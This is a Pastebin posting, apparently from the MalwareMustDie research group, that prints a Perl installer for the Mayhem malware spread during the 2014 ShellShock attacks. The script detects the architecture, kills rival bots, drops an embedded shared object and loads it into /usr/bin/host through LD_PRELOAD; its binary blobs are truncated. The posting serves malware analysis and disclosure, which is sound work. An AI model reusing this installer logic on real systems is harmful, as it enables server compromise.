Advertisement
MalwareMustDie

Mayhem Installer in ShellShock Wave in Perl #MMD

Oct 6th, 2014
1,025
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.14 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use Config;
  3.  
  4. print "Content-type: text/plain\n\n";
  5. $SO32="\x7f\x45\x4c\x46\x01x4c\x4f..\x00\x00";
  6. $SO64="\x7f\x45\x4c\x46\x02x4c\x4f..\x00\x00";
  7. # detect arch
  8. $arch = $Config{longsize} * 8;
  9. print "Arch=".$arch."\n";
  10. $so = ($arch == 32 ? $SO32 : $SO64);
  11. # detect system
  12. $name = "%helper";
  13. open F, $name and binmode F and read (F, $buf, 8) and close F;
  14. @b = unpack("C*", $buf);
  15. $sys = $b[7];
  16. print "System is ".($sys == 9 ? "FreeBSD" : "Linux")."\n";
  17. $extra = "";
  18. if ($sys == 9) {
  19.     # FreeBSD
  20.     $so[7] = pack("C", $sys);
  21.     my $out = `ldd /usr/bin/host`;
  22.     foreach my $line (split /[\n]+/, $out) {
  23.         my ($x, $x, $lib) = split / /, $line;
  24.         if ($lib =~ /(ibc\.|thr)/i ) {
  25.             $extra .= $lib." ";
  26.         }
  27.     }
  28.     if ($extra !~ /libthr/i) {
  29.         $extra = "libc.so.7 libthr.so.3 ";
  30.     }
  31.     # touch /etc/rc.local
  32.     open (TMP, ">>/etc/rc.local") and close TMP;
  33. }
  34. # kill bots if any
  35. $name=~s/.*\///g;
  36. system("killall -9 ".$name." 2>/dev/null");
  37. # drop library
  38. open $F, ">./sess.so";
  39. print $F $so;
  40. close $F;
  41. print "Drop library\n";
  42.  
  43. $ENV{'AU'}=$ENV{'SERVER_NAME'}.$ENV{'REQUEST_URI'};
  44. system("LD_PRELOAD='".$extra." ./sess.so' /usr/bin/host");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement